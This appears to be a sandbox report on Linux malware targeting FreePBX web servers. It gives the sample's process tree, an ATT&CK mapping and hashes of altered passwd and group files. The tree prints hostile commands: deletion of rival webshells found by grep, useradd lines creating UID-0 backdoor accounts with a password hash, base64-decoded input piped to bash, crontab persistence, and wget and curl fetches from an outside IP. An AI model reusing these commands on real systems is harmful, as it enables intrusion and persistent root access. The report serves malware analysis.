      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1053
  - - /bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1053
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1052
- - /usr/bin/xargs
    xargs -0 grep -Il New-Pbx
    3⤵
    - Reads runtime system information
    PID:1055
  - - /usr/local/sbin/grep
      grep -Il New-Pbx
      4⤵
      PID:1057
  - - /usr/local/bin/grep
      grep -Il New-Pbx
      4⤵
      PID:1057
  - - /usr/sbin/grep
      grep -Il New-Pbx
      4⤵
      PID:1057
  - - /usr/bin/grep
      grep -Il New-Pbx
      4⤵
      PID:1057
  - - /sbin/grep
      grep -Il New-Pbx
      4⤵
      PID:1057
  - - /bin/grep
      grep -Il New-Pbx
      4⤵
      PID:1057
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1054
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1056
- - /usr/bin/xargs
    xargs -0 grep -Il d6e08cf66c4e2c48bd74db31cf697615
    3⤵
    PID:1059
  - - /usr/local/sbin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1061
  - - /usr/local/bin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1061
  - - /usr/sbin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1061
  - - /usr/bin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1061
  - - /sbin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1061
  - - /bin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1061
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1058
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1060
- - /usr/bin/xargs
    xargs -0 grep -Il 9490f20681692b508c4b04cd14d79190
    3⤵
    PID:1063
  - - /usr/local/sbin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1065
  - - /usr/local/bin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1065
  - - /usr/sbin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1065
  - - /usr/bin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1065
  - - /sbin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1065
  - - /bin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1065
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1062
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1064
- - /usr/bin/xargs
    xargs -0 grep -Il 1c95bad5b03658f331833d6ea9e77887
    3⤵
    PID:1067
  - - /usr/local/sbin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1069
  - - /usr/local/bin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1069
  - - /usr/sbin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1069
  - - /usr/bin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1069
  - - /sbin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1069
  - - /bin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1069
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1066
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1068
- - /usr/bin/xargs
    xargs -0 grep -Il 9KzV53W471fILfew1M1DULk0
    3⤵
    PID:1071
  - - /usr/local/sbin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1073
  - - /usr/local/bin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1073
  - - /usr/sbin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1073
  - - /usr/bin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1073
  - - /sbin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1073
  - - /bin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1073
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1070
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1072
- - /usr/bin/xargs
    xargs -0 grep -Il FaTaLisTiCz_Fx
    3⤵
    PID:1075
  - - /usr/local/sbin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1077
  - - /usr/local/bin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1077
  - - /usr/sbin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1077
  - - /usr/bin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1077
  - - /sbin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1077
  - - /bin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1077
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:1074
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1076
- - /usr/bin/xargs
    xargs -0 grep -Il hRWv5p9vRt90YFivFJjV3L5G
    3⤵
    PID:1079
  - - /usr/local/sbin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1081
  - - /usr/local/bin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1081
  - - /usr/sbin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1081
  - - /usr/bin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1081
  - - /sbin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1081
  - - /bin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1081
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1078
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1080
- - /usr/bin/xargs
    xargs -0 grep -Il IlXGEbLAy9GFYU
    3⤵
    - Reads runtime system information
    PID:1083
  - - /usr/local/sbin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1085
  - - /usr/local/bin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1085
  - - /usr/sbin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1085
  - - /usr/bin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1085
  - - /sbin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1085
  - - /bin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1085
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1082
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1084
- - /usr/bin/xargs
    xargs -0 grep -Il yhVmfo8f
    3⤵
    PID:1087
  - - /usr/local/sbin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1089
  - - /usr/local/bin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1089
  - - /usr/sbin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1089
  - - /usr/bin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1089
  - - /sbin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1089
  - - /bin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1089
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1086
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1088
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1090
- - /usr/bin/xargs
    xargs -0 grep -Il pTFr1cffgGFs0PExj
    3⤵
    PID:1091
  - - /usr/local/sbin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1093
  - - /usr/local/bin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1093
  - - /usr/sbin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1093
  - - /usr/bin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1093
  - - /sbin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1093
  - - /bin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1093
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1092
- - /usr/bin/xargs
    xargs -0 grep -Il DDwrCQLX
    3⤵
    PID:1095
  - - /usr/local/sbin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1097
  - - /usr/local/bin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1097
  - - /usr/sbin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1097
  - - /usr/bin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1097
  - - /sbin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1097
  - - /bin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1097
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:1094
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1096
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1098
- - /usr/bin/xargs
    xargs -0 grep -Il v1vXWIUI01ODa0
    3⤵
    PID:1099
  - - /usr/local/sbin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1101
  - - /usr/local/bin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1101
  - - /usr/sbin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1101
  - - /usr/bin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1101
  - - /sbin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1101
  - - /bin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1101
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1100
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1102
- - /usr/bin/xargs
    xargs -0 grep -Il Lh76D9c0svOZkklrL9LurM9y
    3⤵
    PID:1103
  - - /usr/local/sbin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1105
  - - /usr/local/bin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1105
  - - /usr/sbin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1105
  - - /usr/bin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1105
  - - /sbin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1105
  - - /bin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1105
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1104
- - /usr/bin/xargs
    xargs -0 grep -Il ix731zQb7mdDj9mdS
    3⤵
    PID:1107
  - - /usr/local/sbin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1109
  - - /usr/local/bin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1109
  - - /usr/sbin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1109
  - - /usr/bin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1109
  - - /sbin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1109
  - - /bin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1109
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1106
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1108
- - /usr/bin/xargs
    xargs -0 grep -Il 9VkwhyK7
    3⤵
    PID:1111
  - - /usr/local/sbin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1113
  - - /usr/local/bin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1113
  - - /usr/sbin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1113
  - - /usr/bin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1113
  - - /sbin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1113
  - - /bin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1113
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1110
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1112
- - /usr/bin/xargs
    xargs -0 grep -Il XOf2eR5oAraIs2
    3⤵
    PID:1115
  - - /usr/local/sbin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1117
  - - /usr/local/bin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1117
  - - /usr/sbin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1117
  - - /usr/bin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1117
  - - /sbin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1117
  - - /bin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1117
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1114
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1116
- - /usr/bin/xargs
    xargs -0 grep -Il aIlL71SrsimmeePxqWBGOpRU
    3⤵
    PID:1119
  - - /usr/local/sbin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1121
  - - /usr/local/bin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1121
  - - /usr/sbin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1121
  - - /usr/bin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1121
  - - /sbin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1121
  - - /bin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1121
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:1118
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1120
- - /usr/bin/xargs
    xargs -0 grep -Il 6a4IRS7JN4x37MUcb
    3⤵
    PID:1123
  - - /usr/local/sbin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1125
  - - /usr/local/bin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1125
  - - /usr/sbin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1125
  - - /usr/bin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1125
  - - /sbin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1125
  - - /bin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1125
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1122
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1124
- - /usr/bin/xargs
    xargs -0 grep -Il kJnctpXKOi249YYSoaHyqnLW
    3⤵
    PID:1127
  - - /usr/local/sbin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1129
  - - /usr/local/bin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1129
  - - /usr/sbin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1129
  - - /usr/bin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1129
  - - /sbin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1129
  - - /bin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1129
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1126
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1128
- - /usr/bin/xargs
    xargs -0 grep -Il SHzAg0Y1W0QDZUXKj
    3⤵
    PID:1131
  - - /usr/local/sbin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1133
  - - /usr/local/bin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1133
  - - /usr/sbin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1133
  - - /usr/bin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1133
  - - /sbin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1133
  - - /bin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1133
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1130
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1132
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1134
- - /usr/bin/xargs
    xargs -0 grep -Il hmQkq0io
    3⤵
    PID:1135
  - - /usr/local/sbin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1137
  - - /usr/local/bin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1137
  - - /usr/sbin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1137
  - - /usr/bin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1137
  - - /sbin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1137
  - - /bin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1137
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1136
- - /usr/bin/xargs
    xargs -0 grep -Il 2PGY4kKo38Axxy
    3⤵
    PID:1139
  - - /usr/local/sbin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1141
  - - /usr/local/bin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1141
  - - /usr/sbin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1141
  - - /usr/bin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1141
  - - /sbin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1141
  - - /bin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1141
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1138
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1140
- - /usr/bin/xargs
    xargs -0 grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
    3⤵
    PID:1143
  - - /usr/local/sbin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1145
  - - /usr/local/bin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1145
  - - /usr/sbin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1145
  - - /usr/bin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1145
  - - /sbin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1145
  - - /bin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1145
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1142
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1144
- - /bin/mkdir
    mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp
    3⤵
    PID:1146
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1148
- - /bin/bash
    bash
    3⤵
    PID:1149
  - - /usr/sbin/useradd
      useradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs
      4⤵
      Modifies password files for system users/ groups
      OS Credential Dumping
      Adds a user to the system
      PID:1150
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1151
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1152
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1153
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1154
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1156
- - /bin/bash
    bash
    3⤵
    PID:1157
  - - /usr/sbin/useradd
      useradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx
      4⤵
      Modifies password files for system users/ groups
      OS Credential Dumping
      Adds a user to the system
      PID:1159
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1161
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1162
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1163
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1164
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1166
- - /bin/bash
    bash
    3⤵
    PID:1167
  - - /usr/sbin/useradd
      useradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax
      4⤵
      Modifies password files for system users/ groups
      OS Credential Dumping
      Adds a user to the system
      Reads runtime system information
      PID:1169
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1171
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1172
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1173
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1175
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1177
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1183
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1185
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1188
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1191
- - /bin/mkdir
    mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp
    3⤵
    PID:1192
- - /usr/bin/head
    head -c8
    3⤵
    PID:1196
- - /usr/bin/tr
    tr -dc a-z0-9
    3⤵
    PID:1195
- - /usr/bin/wget
    wget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.5a6np8hc
    3⤵
    PID:1199
- - /usr/bin/wget
    wget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.5a6np8hc
    3⤵
    - Writes file to tmp directory
    PID:1203
- /usr/bin/curl
  curl http://160.119.69.4/x -ks
  2⤵
  PID:711

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

group+

Path /etc/group+
Size 654B
SHA256 4a71328bc7d69cccbc0bd8e5b122c1127102d70a951ba126dccbf3ced93b6252
MD5 c985e3ecd538b98e597c8088da1b6f34
SHA1 83a6d4ac92e67b86b61d1b2d6ca59c8cbf955f2a
SHA512 4e040e305d56865d005b66cf81706ae01c2f78c4073d98055c2b1a64047d400c41348bff053ca0852c7f56c7c3d7171976abdc9441785a746911aac3d1082070
TLSH
T19FF07B08A808C658C0911C4912BA1BEC25F82ECF45ABD5C6D56FD8D87301C3317A58E4
MD5 SHA1 SHA512 TLSH

Submit Download

gshadow+

Path /etc/gshadow+
Size 549B
SHA256 20437165b0df36819457dfdef054ef75af367931d44f1804ad6f68afc37a23f3
MD5 4c6e3b0bbaeb86a159b2bb127c04b547
SHA1 a7dfbb29bde3677c756890d82dda35c51ac5c8df
SHA512 ac07336609a8af98228f415569896df738e0fdbc7bc23db0ba3414b3d39851314a3bcadc0a68ecb92975ce6a0df2bdf978484e96a7f89aa3613dddbc17f6ad2f
TLSH
T109F02760A25A90A94147194977F5069A2829BB7F80E8C0C7896688C71B288BF2A75CF8
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 2a7f756b8e85f454068fb0ffc6e9ac1421599e83fca9f6605f9bfe1265cd59a6
MD5 a322282bcaa15829f24344e6ebf5e2d6
SHA1 bbdc07d0be82c9a2bba98f0829588087a4fa73de
SHA512 4c2b4ab83eb4796a01099fc100dfc6c321592dbe0a064c0af19ae8c2e4612d5808d121335f87e73e2222eeff90520c08352cf39bedfa9a2683d4c6602748eb41
TLSH
T124213A20032990BC9CC1E85A111B7FE414EC78D14A79FB3DD87BA144EC8BB6C37648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 b262ee58672458cc5966b59a248519af1c2fa247305e70c1956059ff05eb5adb
MD5 1b6d16066c1d8f9ea5c4020b85de6cd7
SHA1 31676a7579a7d6dcd40c3539dde605b54c5cb9f9
SHA512 a77ad18f8cc8a1e401b29fea8f8f11a6aa938f71f501c5088c5ccb3d963af299e7decbbe670e8149695f315ada0a357c1ca6357abade7d2da26fb5bb15e6eb6e
TLSH
T18E210520032990BC9CC1E95A112B7FE414EC78D10A79FB3DD8BBA144ED8BA6D27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 067a42e7cddeb60fcda99611d203de9d53cfb0c472577b72e25fde582899bec6
MD5 ed12f50af3a74faae92ce6a5607af773
SHA1 28c61032ac09a6ce426b4d93001a42353acab125
SHA512 0e96eca49eac8659a7d258664dc0d55255fd3c481113f598e8553aa9a8e8a4661848840897f21ee81ed463043f3a6bde15dda1e09e24a1843937b2a293f4cae6
TLSH
T1DB21F860432950BC9CC1E95A111B7FD414FC78D10A79FB2DD8BBA144ED8BB6D27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1b114633e7e738be4018e7f880f6f415f8e042bc6d0bb4b987f0d8f8762fbac0
MD5 222a6b7cdde650702a1af03db99c2d9f
SHA1 1a8bfbeadb6d4d7937f043720813e41cb4cb56ed
SHA512 4b7018f69b2a0bca36caeb21f9827a1ee1bfdbce73a2333ea2a783ea73b4456249553bf0cfbba7cb2105b3c864c4c07bdfef264b96d2de16fcdc7ee569ccd00c
TLSH
T190212B50432950BC9CC1E45A111B7FD424FC78E10A79FB2DD8BBA144EC9BB6C77648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 30458e59de95cd83af6cb65706161f34654ea178277e45351be85c207ceacb9d
MD5 99c39ca1e9ddefadcee408041f7044f0
SHA1 8a6031579dcaee3e9f65f35284e3522324668d51
SHA512 0fc5379ace46ba786a9737fd0e731b1a3c35c5348f7472466c63945dd1cde7faf96affe44eeddec86ea48f3c86b4894c3db33944a0d4491beb995d18fcbe8364
TLSH
T18D212750032994BC9CC1E45A111B7FE424FC78E10A79FB2DD8BBA544EC9BBAC67648B4
MD5 SHA1 SHA512 TLSH

Submit Download

sed4CU5iT

Path /etc/sed4CU5iT
Size 590B
SHA256 711c4e45b92dc47ddcc49dcc5f0ff6dedcfa1901c27661166a078c17cda4732e
